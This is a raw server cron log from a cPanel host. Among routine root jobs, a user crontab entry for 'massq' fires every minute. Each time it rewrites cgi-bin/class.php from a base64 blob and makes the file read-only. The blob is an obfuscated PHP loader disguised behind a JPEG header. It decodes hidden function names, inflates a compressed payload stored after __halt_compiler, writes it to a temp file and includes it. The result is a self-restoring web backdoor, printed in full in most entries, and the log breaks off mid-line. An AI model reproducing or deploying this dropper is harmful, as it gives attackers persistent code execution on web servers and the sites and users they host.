Aug 31 02:40:01 server CROND[501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:40:01 server CROND[500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:40:01 server CROND[502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:40:01 server CROND[503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:40:01 server CROND[499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:40:01 server CROND[504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:41:01 server CROND[1452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:41:01 server CROND[1453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:41:01 server CROND[1454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:42:01 server CROND[1920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:42:01 server CROND[1921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:42:01 server CROND[1922]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:42:01 server CROND[1923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:43:01 server CROND[2423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:43:01 server CROND[2424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:43:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:44:01 server CROND[2855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:44:01 server CROND[2856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:44:01 server CROND[2857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:45:01 server CROND[3252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:45:01 server CROND[3260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:45:01 server CROND[3258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:45:01 server CROND[3259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:45:01 server CROND[3261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:45:01 server CROND[3262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:45:01 server CROND[3263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:46:01 server CROND[4095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:46:01 server CROND[4096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:46:01 server CROND[4097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:47:01 server CROND[4486]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Aug 31 02:47:01 server CROND[4487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:47:01 server CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:47:01 server CROND[4488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:47:01 server CROND[4490]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Aug 31 02:47:16 server crontab[4723]: (root) LIST (root)
Aug 31 02:47:16 server crontab[4725]: (root) LIST (root)
Aug 31 02:47:21 server crontab[4858]: (root) LIST (root)
Aug 31 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Aug 31 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Aug 31 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Aug 31 02:48:01 server CROND[5659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:48:01 server CROND[5660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:48:01 server CROND[5661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:49:01 server CROND[6232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:49:01 server CROND[6234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:49:01 server CROND[6235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:50:01 server CROND[6643]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:50:01 server CROND[6645]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:50:01 server CROND[6648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:50:01 server CROND[6649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:50:01 server CROND[6652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:50:01 server CROND[6654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:50:01 server CROND[6653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:50:01 server CROND[6651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:50:01 server CROND[6650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:51:01 server CROND[7513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTG